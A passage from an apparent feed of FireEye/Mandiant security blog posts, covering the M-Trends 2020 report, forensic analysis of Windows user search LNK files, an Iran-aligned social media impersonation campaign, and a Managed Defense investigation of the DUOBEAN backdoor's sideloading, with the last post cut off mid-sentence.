infrastructures. For instance, proper network segmentation is highly advisable for mitigating the spread of ransomware. However, organizations with limited budgets may instead decide to leverage redundant asset diversification, host-based firewalls, and hardening as an alternative to segregating with hardware firewalls.

  • M-Trends 2020: Insights From the Front Lines
    by Jurgen Kutscher on February 20, 2020 at 1:00 pm

    Today we release M-Trends 2020, the 11th edition of our popular annual FireEye Mandiant report. This latest M-Trends contains all of the statistics, trends, case studies and hardening recommendations that readers have come to expect through the years—and more. One of the most exciting takeaways from this year’s report: the global median dwell time is now 56 days. That means the average attacker is going undetected on a network for under two months—an M-Trends first. This is a very promising statistic that demonstrates how far we’ve come since 2011 when the global median dwell time was 416 days. And yet, we know a sophisticated attacker needs only a few days to gain access to the crown jewels, so there is still plenty of room for improvement. Another interesting statistic in the report is what we refer to as “detection by source.” For the first time since 2015, the majority of organizations are being notified of compromises by external sources (53 percent) over internal teams (47 percent). This is more likely due to factors such as increases in law enforcement notifications and compliance changes, and less likely due to internal teams having lost a step. There’s a whole lot more to look forward to in M-Trends 2020, including: By the Numbers: Global median dwell time and detection by source are just the tip of the iceberg—we share a number of other statistics related to targeted industries, malware, threat techniques and more. Newly Named APT Groups: Learn all about APT41, group responsible for carrying out Chinese state-sponsored espionage and financially motivated activity since as far back as 2012. Trends: We take a deep dive into the latest trends involving malware families, monetizing ransomware, crimeware as a service, and malicious insiders. Case Studies: With so many organizations moving to the cloud, we take a look at a breach involving cloud assets. We also take readers through a campaign where attackers were targeting gift cards. While M-Trends 2020 contains plenty of new information, the goal of M-Trends has remained the same since the beginning: to arm security professionals with details on the latest attacks and threats we are seeing during our engagements. Download the 11th edition of M-Trends today.

  • The Missing LNK — Correlating User Search LNK files
    by Ashley Frazer on February 19, 2020 at 6:30 pm

    Forensic investigators use LNK shortcut files to recover metadata about recently accessed files, including files deleted after the time of access. In a recent investigation, FireEye Mandiant encountered LNK files that indicated an attacker accessed files included in Windows Explorer search results. In our experience, this was a new combination of forensic artifacts. We’re excited to share our findings because they help to paint a more complete picture of an attacker’s actions and objectives on targeted systems. Further, these findings can also be leveraged for insider threat cases to determine the path used to locate and subsequently open a file. Windows LNK Format The .lnk extension is associated with a class of files known as Shell Items. These binary format files contain information that can be used to access other data objects in the Windows shell (the graphical user interface). LNK shortcut files are one type of Shell Item. They are created by the Windows operating system automatically when a user accesses a file from a supported application but can also be created by the user manually. LNK shortcut files typically contain metadata about the accessed file, including the file name and size, the original path, timestamps, volume and system information (ex. drive type and system hostname), and network information (ex. network share path). Fortunately, there are tools available that can parse these files. While internally at Mandiant we leverage FireEye Endpoint Security to parse LNK files and identify suspicious user search terms, for the purposes of this blog post we will be using LECmd by Eric Zimmerman. Figure 1 shows the command line options for LECmd.exe. Figure 1: LECmd.exe command line options Parsed metadata within LNK shortcut files is relevant to forensic investigations for multiple use cases, including profiling user activity on a system or searching for references to malware that has since been deleted. User Search LNK files Recently, Mandiant encountered LNK files whose format we did not initially recognize. The files came from a Windows Server 2012 R2 system and had paths like those shown in Figure 2. We guessed that they were LNK shortcut files based on their extension and file path; however, their content was not familiar to us. C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\passw.lnk C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\gov.lnk Figure 2: Full file path of the unfamiliar LNK files In the previous examples, a forensic investigator would use the LNK shortcut filename to conclude that a user opened a file named passw or gov. Then, they would use a tool like LECmd to recover additional metadata. This would provide them with the full file path of the accessed file and the timestamps of the file at the time it was accessed – among other forensic information. However, the previous LNK files did not reveal expected metadata. Figure 3 shows the output of LECmd for passw.lnk (some information omitted for clarity). LECmd version 1.3.2.1 Author: Eric Zimmerman ([email protected]) https://github.com/EricZimmerman/LECmd — Header —   Target created:  Target modified:  Target accessed:   File size: 0   Flags: HasTargetIdList, IsUnicode, DisableKnownFolderTracking   File attributes: 0   Icon index: 0   Show window: SwNormal (Activates and displays the window. The window is restored to its original size and position if the window is minimized or maximized.) — Target ID information (Format: Type ==> Value) —   Absolute path: Search Folder\passw   -Users property view ==> Search Folder   >> Property store (Format: GUID\ID Description ==> Value)      d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutoList  ==> VT_STREAM not implemented (yet) See extension block section for contents for now      d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutolistCacheTime  ==> 1849138729510      d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutolistCacheKey  ==> Search Results in Local Disk (C:)0   -Variable: Users property view ==> passw   >> Property store (Format: GUID\ID Description ==> Value)      1e3ee840-bc2b-476c-8237-2acd1a839b22\2      (Description not available)         ==> VT_STREAM not implemented      1e3ee840-bc2b-476c-8237-2acd1a839b22\8      (Description not available)         ==> passw      28636aa6-953d-11d2-b5d6-00c04fd918d0\11     Item Type                           ==> Stack      28636aa6-953d-11d2-b5d6-00c04fd918d0\25     SFGAO Flags                         ==> 805306372      b725f130-47ef-101a-a5f1-02608c9eebac\10     Item Name Display                   ==> passw — End Target ID information — — Extra blocks information — >> Property store data block (Format: GUID\ID Description ==> Value)    (Property store is empty) Figure 3: LECmd.exe output for passw.lnk Of note, none of the expected information for LNK shortcut files is present. However, there were strings of interest in the Target ID Information section including Search Folder\passw as well as Search Results in Local Disk (C:). For comparison, Figure 4 highlights output for a standard LNK shortcut file using a test file. Notice that the target file timestamps, file size, full file path, and other expected file metadata are present (some information omitted for clarity). LECmd version 1.3.2.1 Author: Eric Zimmerman ([email protected]) https://github.com/EricZimmerman/LECmd — Header —   Target created:  2020-01-21 19:34:28  Target modified: 2020-01-21 19:34:28  Target accessed: 2020-01-22 21:25:12   File size: 4   Flags: HasTargetIdList, HasLinkInfo, HasRelativePath, HasWorkingDir, IsUnicode, DisableKnownFolderTracking   File attributes: FileAttributeArchive   Icon index: 0   Show window: SwNormal (Activates and displays the window. The window is restored to its original size and position if the window is minimized or maximized.) Relative Path: ..\..\..\..\..\Desktop\test.txtWorking Directory: C:\Users\<username>\Desktop — Link information — Flags: VolumeIdAndLocalBasePath >>Volume information   Drive type: Fixed storage media (Hard drive)   Serial number: <serial number>   Label: OSDisk   Local path: C:\Users\<username>\Desktop\test.txt — Target ID information (Format: Type ==> Value) —   Absolute path: My Computer\Desktop\test.txt   -Root folder: GUID ==> My Computer   -Root folder: GUID ==> Desktop   -File ==> test.txt     Short name: test.txt     Modified: 2020-01-21 19:34:30     Extension block count: 1     ——— Block 0 (Beef0004) ———     Long name: test.txt     Created: 2020-01-21 19:34:30     Last access: 2020-01-21 19:34:32     MFT entry/sequence #: 108919/8 (0x1A977/0x8) — End Target ID information — — Extra blocks information — >> Tracker database block    Machine ID: <hostname>    MAC Address: <mac address>    MAC Vendor: INTEL    Creation: 2020-01-21 15:19:59    Volume Droid: <volume>    Volume Droid Birth: <volume>    File Droid: <file>    File Droid birth: <file> Figure 4: LECmd.exe output for standard LNK shortcut file test.txt Fortunately, during the investigation we also parsed the user’s NTUSER.DAT registry file (using Harlan Carvey’s RegRipper) and reviewed the WorldWheelQuery key which details user Explorer search history. The passw.lnk file suddenly became more interesting! Figure 5 shows the entries parsed from the registry key. Note that the search history includes the same term we observed in the LNK file: passw. wordwheelquery v.20100330 (NTUSER.DAT) Gets contents of user’s WordWheelQuery key Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery LastWrite Time Wed Nov 13 06:51:46 2019 (UTC)  Searches listed in MRUListEx order 14   Secret                         6    passw                          13   ccc                            12   bbb                            11   aaa                            10   *.cfg                          9    apple                          8    dni                            7    private                          4    gov                            5    air                            3    intelsat                       2    adhealthcheck                  1    *.ps1                          0    global Figure 5: WorldWheelQuery key extracted from the user’s NTUSER.DAT registry file Via the WorldWheelQuery registry key, we identified passw as the second most recent term in the user’s Explorer search history according to the MRUListEx order. MRUListEx is a registry value that lists the order in which other values have most recently been accessed—essentially, the order in which terms were searched in Explorer. passw also matched the filename of the unusual LNK file that contained the string Search Results in Local Disk (C:) (see Figure 3). These details seemed to suggest that LNK files were being created as a result of user Explorer searches. Therefore, we’ve started calling these “user search LNK files”. Nuance and Interpretation After searching the system for LNK files with the terms listed in the user’s Explorer search history, we found that not all terms had associated user search LNK files. Figure 6 displays LNK files and their accompanying file creation and modification timestamps that we identified as a result of this search. Note that while we found 15 searches via the WorldWheelQuery registry key, there are only four (4) user search LNK files. 2019-11-09 08:33:14    Created Modified C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\gov.lnk 2019-11-09 09:29:11    Created 2019-11-09 09:29:37    Modified C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\private.lnk 2019-11-09 08:38:29    Created 2019-11-13 06:47:56    Modified C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\passw.lnk 2019-11-13 06:57:03    Created 2019-11-13 06:57:25    Modified C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\Secret.lnk Figure 6: LNK files with associated WorldWheelQuery Explorer search terms Additionally, we noticed pairs of LNK files created at the same time that had similar names. As an example, Figure 7 lists two LNK files that were both created at 2019-11-09 08:38:29 UTC. C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\passw.lnk C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\password.lnk Figure 7: LNK files created at the same time After further testing, we determined that the system created user search LNK files as a result of Explorer searches where the user opened one of the files produced as a result of this search. User search LNK files were not created if the user did not open a file returned by the search. In this example, the password.lnk file contained target file metadata, as would be expected for LNK shortcut files, and referenced a target file named password.txt located in the T:\ directory. passw.lnk, as previously discussed, only contained expected metadata for a user search LNK file, including the absolute path Search Folder\passw with reference to Search Results in Local Disk (C:). However, this discrepancy in directory—the user search LNK file search context of Search Results in Local Disk (C:) and the LNK shortcut file located in the T:\ drive—is actually as expected. LNK shortcut files contain metadata for the most recently accessed file, and we found the same to be true for user search LNK files. Based on differing creation and modification timestamps for passw.lnk, we know the user searched for passw in at least one other instance (we’re not able to conclude whether a search happened between these two points in time) and opened a file from the search results. This is seen in the timestamps for the passw user search LNK file in Figure 8. 2019-11-09 08:38:29    Created 2019-11-13 06:47:56    Modified C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\passw.lnk Figure 8: passw.lnk creation and modification timestamps The second occurrence of a search for passw occurred on November 13, 2019. In this instance, the user again searched for the term passw using Windows Explorer search, but this time searched within the context of the C:\ drive (Search Results in Local Disk (C:)), and subsequently clicked on a document named password2.txt. The results from LECmd for password2.lnk can be seen in Figure 9 (some information omitted for clarity and to protect client information). Notice the information embedded in user search LNK files is also embedded within the LNK shortcut file that is created simultaneously with the user search LNK file (underlined text). The search context for passw.lnk and full file path location for password2.lnk both match: C:\. LECmd version 1.3.2.1 Author: Eric Zimmerman ([email protected]) https://github.com/EricZimmerman/LECmd — Header —   Target created:  2015-11-09 22:14:10   Target modified: 2010-01-11 16:57:11   Target accessed: 2015-11-09 22:14:10   File size: 19   Flags: HasTargetIdList, HasLinkInfo, HasRelativePath, HasWorkingDir, IsUnicode, DisableKnownFolderTracking   File attributes: FileAttributeArchive   Icon index: 0   Show window: SwNormal (Activates and displays the window. The window is restored to its original size and position if the window is minimized or maximized.) Relative Path: ..\..\..\..\..\..\..\<file path>\password2.txt Working Directory: C:\<file path> — Link information — Flags: VolumeIdAndLocalBasePath, CommonNetworkRelativeLinkAndPathSuffix >>Volume information   Drive type: Fixed storage media (Hard drive)   Serial number: <serial number>   Label: (No label)   Network share information     Share name: \\<hostname>\<top level folder>     Provider type: <provider type>     Share flags: ValidNetType   Local path: C:\<top level folder>\   Common path: <file path>\password2.txt — Target ID information (Format: Type ==> Value) —   Absolute path: Search Folder\passw\password2   -Users property view ==> Search Folder   >> Property store (Format: GUID\ID Description ==> Value)       d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutoList  ==> VT_STREAM not implemented (yet) See extension block section for contents for now       d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutolistCacheTime  ==> 1849138729510       d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutolistCacheKey  ==> Search Results in Local Disk (C:)0   -Variable: Users property view ==> passw   >> Property store (Format: GUID\ID Description ==> Value)       1e3ee840-bc2b-476c-8237-2acd1a839b22\2      (Description not available)         ==> VT_STREAM not implemented       1e3ee840-bc2b-476c-8237-2acd1a839b22\8      (Description not available)         ==> passw       28636aa6-953d-11d2-b5d6-00c04fd918d0\11     Item Type                           ==> Stack       28636aa6-953d-11d2-b5d6-00c04fd918d0\25     SFGAO Flags                         ==> 805306372       b725f130-47ef-101a-a5f1-02608c9eebac\10     Item Name Display                   ==> passw   -Variable: Users property view ==> password2   >> Property store (Format: GUID\ID Description ==> Value)      49691c90-7e17-101a-a91c-08002b2ecda9\3      Search Rank                         ==> 0      28636aa6-953d-11d2-b5d6-00c04fd918d0\25     SFGAO Flags                         ==> 1077936503      28636aa6-953d-11d2-b5d6-00c04fd918d0\32     Delegate ID List                    ==> VT_VECTOR data not implemented (yet) See extension block section for contents for now      28636aa6-953d-11d2-b5d6-00c04fd918d0\11     Item Type                           ==> .txt      28636aa6-953d-11d2-b5d6-00c04fd918d0\24     Parsing Name                        ==> password2.txt      446d16b1-8dad-4870-a748-402ea43d788c\100    Thumbnail Cache Id                  ==> 7524032674880659487      1e3ee840-bc2b-476c-8237-2acd1a839b22\12     (Description not available)         ==> Null      1e3ee840-bc2b-476c-8237-2acd1a839b22\20     (Description not available)         ==> 1      1e3ee840-bc2b-476c-8237-2acd1a839b22\3      (Description not available)         ==> document      1e3ee840-bc2b-476c-8237-2acd1a839b22\17     (Description not available)         ==> {1685D4AB-A51B-4AF1-A4E5-CEE87002431D}.Merge Any      1e3ee840-bc2b-476c-8237-2acd1a839b22\8      (Description not available)         ==> C:\<file path>\password2.txt      b725f130-47ef-101a-a5f1-02608c9eebac\4      Item Type Text                      ==> Text Document      b725f130-47ef-101a-a5f1-02608c9eebac\10     Item Name Display                   ==> password2      b725f130-47ef-101a-a5f1-02608c9eebac\12     Size                                ==> 19      b725f130-47ef-101a-a5f1-02608c9eebac\14     Date Modified                       ==> 01/11/2010 16:57:11      006fdbaa-864f-4d1c-a8e8-e62772e454fe\11     (Description not available)         ==> 59      006fdbaa-864f-4d1c-a8e8-e62772e454fe\13     (Description not available)         ==> 1077936423      cf5be8c0-236c-4ad3-bace-cd608a2748d7\100    (Description not available)         ==> True      e3e0584c-b788-4a5a-bb20-7f5a44c9acdd\6      Item Folder Path Display            ==> C:\<file path> — End Target ID information — — Extra blocks information — >> Property store data block (Format: GUID\ID Description ==> Value)    (Property store is empty) >> Tracker database block    Machine ID: <hostname>    MAC Address: <mac address>    MAC Vendor: VMWARE    Creation: 2019-11-13 04:29:24    Volume Droid: <volume>    Volume Droid Birth: <volume>    File Droid: <file>    File Droid birth: <file> Figure 9: LECmd.exe output for password2.lnk The takeaway here is that user search LNK files are only related to the search term and not search context. This means later searches for the same search term, e.g. passw, when the user subsequently opens a search result, but in a different drive or directory changes the modification timestamp for the user search LNK file as well as the search context contained in the user search LNK file. This keeps in step with LNK shortcut files, which are dependent on a simple filename—not the full file path. Timestamp Interpretation Historically, due to the structure of the WorldWheelQuery registry key and available timestamps in the Windows Registry, investigators could only determine the search time of the most recent term using the last modification time of the registry key. With user search LNK files, new timestamps are available to determine the times a user searched for a specific term when the user subsequently opened a file from the search. Going further, we can combine evidence from the user search LNK files and the WorldWheelQuery MRUlistEx registry key value to infer the order of searches completed by the user. For instance, since the user searched for gov (WorldWheelQuery search index 4), passw (index 6), and private (index 7), we can infer they also searched for air (index 5) but didn’t open any files resulting from this search. Conclusion LNK shortcut files have been a reliable method to determine user access to files and the associated file metadata at the time of access. With user search LNK files, we can now enrich our Windows Explorer search history findings and gain a more detailed picture of user activity through additional timestamps of user Explorer searches with subsequent access to files from the search. Acknowledgements Thank you to Phillip Kealy and William Ballenthin for technical review and providing feedback on overall presentation.

  • “Distinguished Impersonator” Information Operation That Previously Impersonated U.S. Politicians and Journalists on Social Media Leverages Fabricated U.S. Liberal Personas to Promote Iranian Interests
    by Alice Revelli on February 12, 2020 at 12:30 pm

    In May 2019, FireEye Threat Intelligence published a blog post exposing a network of English-language social media accounts that engaged in inauthentic behavior and misrepresentation that we assessed with low confidence was organized in support of Iranian political interests. Personas in that network impersonated candidates for U.S. House of Representatives seats in 2018 and leveraged fabricated journalist personas to solicit various individuals, including real journalists and politicians, for interviews intended to bolster desired political narratives. Since the release of that blog post, we have continued to track activity that we believe to be part of that broader operation, reporting our findings to our intelligence customers using the moniker “Distinguished Impersonator.” Today, Facebook took action against a set of eleven accounts on the Facebook and Instagram platforms that they shared with us and, upon our independent review, we assessed were related to the broader Distinguished Impersonator activity set we’ve been tracking. We separately identified a larger set of just under 40 related accounts active on Twitter against which Twitter has also taken recent enforcement action. In this blog post, we provide insights into the recent activity and behavior of some of the personas in the Distinguished Impersonator network, in order to exemplify the tactics information operations actors are employing in their attempts to surreptitiously amplify narratives and shape political attitudes.           Activity Overview Personas in the Distinguished Impersonator network have continued to engage in activity similar to that we previously reported on publicly in May 2019, including social media messaging directed at politicians and media outlets; soliciting prominent individuals including academics, journalists, and activists for “media” interviews; and posting what appear to be videoclips of interviews of unknown provenance conducted with such individuals to social media. The network has also leveraged authentic media content to promote desired political narratives, including the dissemination of news articles and videoclips from Western mainstream media outlets that happen to align with Iranian interests, and has amplified the commentary of real individuals on social media. Outside of impersonating prominent individuals such as journalists, other personas in the network have primarily posed as U.S. liberals, amplifying authentic content from other social media users broadly in line with that proclaimed political leaning, as well as material more directly in line with Iranian political interests, such as videoclips of a friendly meeting between U.S. President Trump and Crown Prince of Saudi Arabia Mohammad Bin Salman accompanied by pro-U.S. Democrat commentary, videoclips of U.S. Democratic presidential candidates discussing Saudi Arabia’s role in the conflict in Yemen, and other anti-Saudi, anti-Israeli, and anti-Trump messaging. Some of this messaging has been directed at the social media accounts of U.S. politicians and media outlets (Figure 1). Figure 1: Twitter accounts in the Distinguished Impersonator network posting anti-Israeli, anti-Saudi, and anti-Trump content We observed direct overlap between six of the personas operating on Facebook platforms and those operating on Twitter. In one example of such overlap, the “Ryan Jensen” persona posted to both Twitter and Instagram a videoclip showing antiwar protests in the U.S. following the killing of Qasem Soleimani, commander of the Islamic Revolutionary Guards Corps’ Quds Force (IRGC-QF) by a U.S. airstrike in Baghdad in January 2020 (Figure 2). Notably, though the strike motivated some limited activity by personas in the network, the Distinguished Impersonator operation has been active since long before that incident. Figure 2: Posts by the “Ryan Jensen” persona on Twitter and Instagram disseminating a videoclip of antiwar protests in the U.S. following the killing of Qasem Soleimani Accounts Engaged in Concerted Replies to Influential Individuals on Twitter, Posed as Journalists and Solicited Prominent Individuals for “Media” Interviews Personas on Twitter that we assess to be a part of the Distinguished Impersonator operation engaged in concerted replies to tweets by influential individuals and organizations, including members of the U.S. Congress and other prominent political figures, journalists, and media outlets. The personas responded to tweets with specific narratives aligned with Iranian interests, often using identical hashtags. The personas sometimes also responded with content unrelated to the tweet they were replying to, again with messaging aligned with Iranian interests. For example, a tweet regarding a NASA mission received replies from personas in the network pertaining to Iran’s seizure of a British oil tanker in July 2019. Other topics the personas addressed included U.S.-imposed sanctions on Iran and U.S. President Trump’s impeachment (Figure 3). While it is possible that the personas may have conducted such activity in the hope of eliciting responses from the specific individuals and organizations they were replying to, the multiple instances of personas responding to seemingly random tweets with unrelated political content could also indicate an intent to reach the broader Twitter audiences following those prominent accounts. Figure 3: Twitter accounts addressing U.S.-imposed sanctions on Iran (left) and the Trump impeachment (right) Instagram accounts that we assess to be part of the Distinguished Impersonator operation subsequently highlighted this Twitter activity by posting screen recordings of an unknown individual(s) scrolling through the responses by the personas and authentic Twitter users to prominent figures’ tweets. The Instagram account @ryanjensen7722, for example, posted a video scrolling through replies to a tweet by U.S. Senator Cory Gardner commenting on “censorship and oppression.” The video included a reply posted by @EmilyAn1996, a Twitter account we have assessed to be part of the operation, discussing potential evidence surrounding President Trump’s impeachment trial. Figure 4: Screenshot of video posted by @ryanjensen7722 on Instagram scrolling through Twitter replies to a tweet by U.S. Senator Cory Gardner We also observed at least two personas posing as journalists working at legitimate U.S. media outlets openly solicit prominent individuals via Twitter, including Western academics, activists, journalists, and political advisors, for interviews (Figure 5). These individuals included academic figures from organizations such as the Washington Institute for Near East Policy and the Foreign Policy Research Institute, as well as well-known U.S. conservatives opposed to U.S. President Trump and a British MP. The personas solicited the individuals’ opinions regarding topics relevant to Iran’s political interests, such as Trump’s 2020 presidential campaign, the Trump administration’s relationship with Saudi Arabia, Trump’s “deal of the century,” referring to a peace proposal regarding the Israeli-Palestinian conflict authored by the Trump administration, and a tweet by President Trump regarding former UK Prime Minister Theresa May. Figure 5: The “James Walker” persona openly soliciting interviews from academics and journalists on Twitter Twitter Personas Posted Opinion Polls To Solicit Views on Topics Relevant to Iranian Political Interests Some of the personas on Twitter also posted opinion polls to solicit other users’ views on political topics, possibly for the purpose of helping to build a larger follower base through engagement. One account, @CavenessJim, posed the question: “Do you believe in Trump’s foreign policies especially what he wants to do for Israel which is called ‘the deal of the century’?” (The poll provided two options: “Yes, I do.” and “No, he cares about himself.” Of the 2,241 votes received, 99% of participants voted for the latter option, though we note that we have no visibility into the authenticity of those “voters”.) Another account, @AshleyJones524, responded to a tweet by U.S. Senator Lindsey Graham by posting a poll asking if the senator was “Trump’s lapdog,” tagging seven prominent U.S. politicians and one comedian in the post; all 24 respondents to the poll voted in the affirmative. As with the Instagram accounts’ showcasing of replies to the tweets of prominent individuals, Instagram accounts in the network also highlighted polls posted by the personas on Twitter (Figure 6). Figure 6: Twitter account @CavenessJim posts Twitter poll (left); Instagram account @ryanjensen7722 posts video highlighting @CavenessJim’s Twitter poll (right) Videoclips of Interviews with U.S., U.K., and Israeli Individuals Posted on Iran-Based Media Outlet Tehran Times Similar to the personas we reported on in May 2019, some of the more recently active personas posted videoclips on Facebook, Instagram, and Twitter of interviews with U.S., UK, and Israeli individuals including professors, politicians, and activists expressing views on topics aligned with Iranian political interests (Figure 7). We have thus far been unable to determine the provenance of these interviews, and note that, unlike some of the previous cases we reported on in 2019, the personas in this more recent iteration of activity did not themselves proclaim to have conducted the interviews they promoted on social media. The videoclips highlighted the interviewees’ views on issues such as U.S. foreign policy in the Middle East and U.S. relations with its political allies. Notably, we observed that at least some of the videoclips that were posted by the personas to social media have also appeared on the website of the Iranian English-language media outlet Tehran Times, both prior to and following the personas’ social media posts. In other instances, Tehran Times published videoclips that appeared to be different segments of the same interviews that were posted by Distinguished Impersonator personas. Tehran Times is owned by the Islamic Propagation Organization, an entity that falls under the supervision of the Iranian Supreme Leader Ali Khamenei. Figure 7: Facebook and Instagram accounts in the network posting videoclips of interviews with an activist and a professor Conclusion The activity we’ve detailed here does not, in our assessment, constitute a new activity set, but rather a continuation of an ongoing operation we believe is being conducted in support of Iranian political interests that we’ve been tracking since last year. It illustrates that the actors behind this operation continue to explore elaborate methods for leveraging the authentic political commentary of real individuals to furtively promote Iranian political interests online. The continued impersonation of journalists and the amplification of politically-themed interviews of prominent individuals also provide additional examples of what we have long referred to internally as the “media-IO nexus”, whereby actors engaging in online information operations actively leverage the credibility of the legitimate media environment to mask their activities, whether that be through the use of inauthentic news sites masquerading as legitimate media entities, deceiving legitimate media entities in order to promote desired political narratives, defacing media outlets’ websites to disseminate disinformation, spoofing legitimate media websites, or, as in this case, attempting to solicit commentary likely perceived as expedient to the actors’ political goals by adopting fake media personas.

  • Managed Defense: The Analytical Mindset
    by Grant Oviatt on February 11, 2020 at 5:00 pm

    When it comes to cyber security (managed services or otherwise), you’re ultimately reliant on analyst expertise to keep your environment safe. Products and intelligence are necessary pieces of the security puzzle to generate detection signal and whittle down the alert chaff, but in the end, an analyst’s trained eyes and investigative process are the deciding factors in effectively going from alerts to answers in your organization. This blog post highlights the events of a recent investigation by FireEye Managed Defense to showcase the investigative tooling and analysis process of our analysts. Threat Overview Recently, FireEye Managed Defense responded to a suspected China-nexus threat group campaign targeting the transportation, construction, and media sectors in Southeast Asia. FireEye’s investigative findings uncovered previously unseen malware, DUOBEAN, a backdoor that solicits additional modules from command-and-control (C2) infrastructure and injects them into process memory. Initial Lead Our initial lead for this activity originated from threat hunting in Managed Defense, which identified a ZIP archive containing a malicious LNK file with embedded PowerShell commands to download and inject a malicious payload into victim process memory. The attachment was blocked by a FireEye ETP appliance in Southeast Asia, but network indicators for the payload were extracted for monitoring suspicious infrastructure. When IP addresses are tasked for monitoring, our network sensors record traffic observed to the suspicious destination for further analysis by our Managed Defense team during threat hunting activities. When new leads from monitored traffic have been collected, our analysts use an internal tool, MDASH, as a dashboard for exploring suspicious network activity. Analyst Perspective With mountains of evidence available from endpoint telemetry and network traffic, it’s critical to interrogate artifacts with purposeful lines of questioning in order to respond to threat actor activity as effectively as possible without getting lost in the data. In this engagement, we have the initial lead for DUOBEAN activity being a tracked IP address that has generated a lead for hunting. Given this type of evidence, there’s a few questions we’re interested in answering before looking at the PCAP contents. Why did we start monitoring this indicator? The most important action an analyst can take when evaluating any indicator is understanding what it is trying to detect. For FireEye, the monitored network infrastructure is commented by the author to provide necessary context for analysts that review generated leads. In this case, our team identified that a recent sample of CHAINLNK from a blocked ETP attachment in Southeast Asia beaconed to infrastructure serving the same SSL certificate. Related infrastructure reusing SSL certificates were enumerated when a malicious domain was gathered from the payload and scoped using PassiveTotal to identify SSL certificates associated with the IP. Certificate SHA-1 was then searched against PassiveTotal results to identify an additional network asset serving the same certificate. This overlapping certificate use is illustrated in Figure 1. Figure 1: Suspicious infrastructure observed in hunting activity How long have we been tracking this IP Address? IP addresses can be some of the most volatile indicators in the world of security. The operational cost for an attacker to transition infrastructure is nominal, so the accuracy of the indicator will decrease as time marches on. In this instance, the IP address had only been monitored for seven (7) days which increased the credibility of the indicator given the relative freshness. What’s the prevalence of this activity? Prevalence of traffic to an IP address gives us a baseline for normalcy. Large volumes of traffic from multiple varying hosts in multiple organizations changes our frame of reference to be less suspicious about the activity, while traffic from a few consistent internal hosts at one or few clients would be more consistent with targeted attacker activity. In this engagement, we observed six (6) hosts from one organization making consistent HTTPS requests (without response) to the infrastructure. This limited scope would be consistent with more suspicious activity. How frequently is activity being observed? Frequency of traffic informs an analyst of whether the activity is programmatic or interactive. Identical activity at consistent intervals is not something humans can easily replicate. Although malware regularly uses variable lengths of time for beaconing, consistent outbound requests in cadence are telling us that some programmatic task is occurring to generate the activity, not a user session. In this engagement, we observed outbound traffic occurring from all six (6) hosts at 15 minute intervals which was indicative of programmatic activity initiating the requests. How much information is being passed between these hosts? Strictly looking at netflow information, the byte size and directionality of the traffic will also inform your analysis on what you’re observing. Small consistently sized outbound packets tends to be more representative of beaconing traffic (legitimate or otherwise), while varied request/response sizes with frequency communication suggests interactivity. In this engagement, we observed only a few bytes of outbound traffic on each of the hosts, consistent with beaconing. Without looking at the packets, our line of questioning against the flow data already begins to characterize the content as highly suspicious. Looking at the network capture content (Figure 2), we observe that the outbound traffic gathered is strictly TLS Client Hello traffic to a free domain, which are commonly employed by attackers. Figure 2: TLS Client Hello from packet capture Given the findings from the hunting investigation, the Managed Defense team immediately informed the customer that further endpoint analysis was going to be performed on the six (6) host communicating with the suspicious infrastructure. At the time, the customer was not instrumented with FireEye Endpoint Security, so portable collections were captured for each of the hosts and securely uploaded to the Managed Defense team for analysis. Further Analysis Endpoint collections containing Windows file system metadata, Windows Registry, Windows Event Logs, web browser history, and a process listing with active network connections were gathered for Managed Defense analysts. Windows Event Logs by themselves can have hundreds of thousands if not millions of entries. As an analyst, it’s increasingly important to be specific in what questions you’re looking to answer during endpoint investigations. In this case, we have one leading question to begin our investigation: What application is regularly communicating with our suspicious infrastructure? Active network connections indicated that legitimate Windows binary, “msiexec.exe”, was responsible for the network connection to the suspicious infrastructure. This information was also included in detailed process tracking evidence (EID 4688) from Windows Event Logs listed in Figure 3. Figure 3: Windows Event Log detailing suspicious use of “msiexec.exe” The legitimate application “msiexec.exe”, is responsible for command-line installation and modification of Windows Installer applications (*.msi files), and rarely makes network connections. From an analyst’s perspective, the low occurrence of network activity in standard use from this binary elicits suspicions of process injection. The parent process in this instance is also in a minimally privileged %AppData%\Roaming directory commonly used for malware persistence.  As an analyst, we’re confident at this point that malicious activity is occurring on the host. Our line of questioning now transitions from exploring the source of network traffic to discovering the scope of the compromise on the host. To triage, we will use the following line of questioning: What is it? For this question, we’re interested in understanding the attacker behavior on the victim computer, specifically the malware in this investigation. This includes functionality and persistence mechanisms used. With our initial lead being the potential staging directory of %AppData%\Roaming from the Windows Event Log listing, we’ll first look at any files created within a few minutes of “eeclnt.exe”. A Mandiant Redline listing of the files returned from filtering the directory is shown in Figure 4. Figure 4: Mandiant Redline file listing from potential staging directory, %Appdata%\Roaming Three (3) suspicious files in question are returned “eeclnt.exe”, “MSVCR110.dll”, and “MSVCR110.dat”. These files are uploaded to the FLARE team’s internal malware sandbox, Horizon, for further analysis. PE File information indicates that “eeclnt.exe” is a legitimate copy of the ESET Smart Security binary with a required import of “MSVCR110.dll”. “MSVCR110.dll” supplementary library required for applications developed with Microsoft Visual C++. In this case, “MSVCR110.dll” was replaced with a malicious loader DLL. When “eeclnt.exe” executes, it imports the malicious DLL “MSVCR110.dll”, which loads the backdoor contained in “MSVCR110.dat” into “msiexec.exe” process memory through process hollowing. This technique is called “sideloading” and is commonly used by attackers to evade detection by using legitimate executables to run malicious code. After initial triage from a Managed Defense analyst, the backdoor was passed along to our FLARE team to reverse engineer for additional identification of malware functionality and family identification. In this case, the backdoor was previously unseen so the Managed Defense analyst who identified the malware named it DUOBEAN. How does it persist? On Windows hosts, malware normally persists in one of three ways: Registry “Run” keys that run a specific application anytime a specific user (in some cases any user) authenticate into the workstation. Windows Services, long-standing background processes typically started at machine boot; and scheduled tasks that run an arbitrary command or binary at a designated interval. In this case, by filtering for the sideloaded binary, 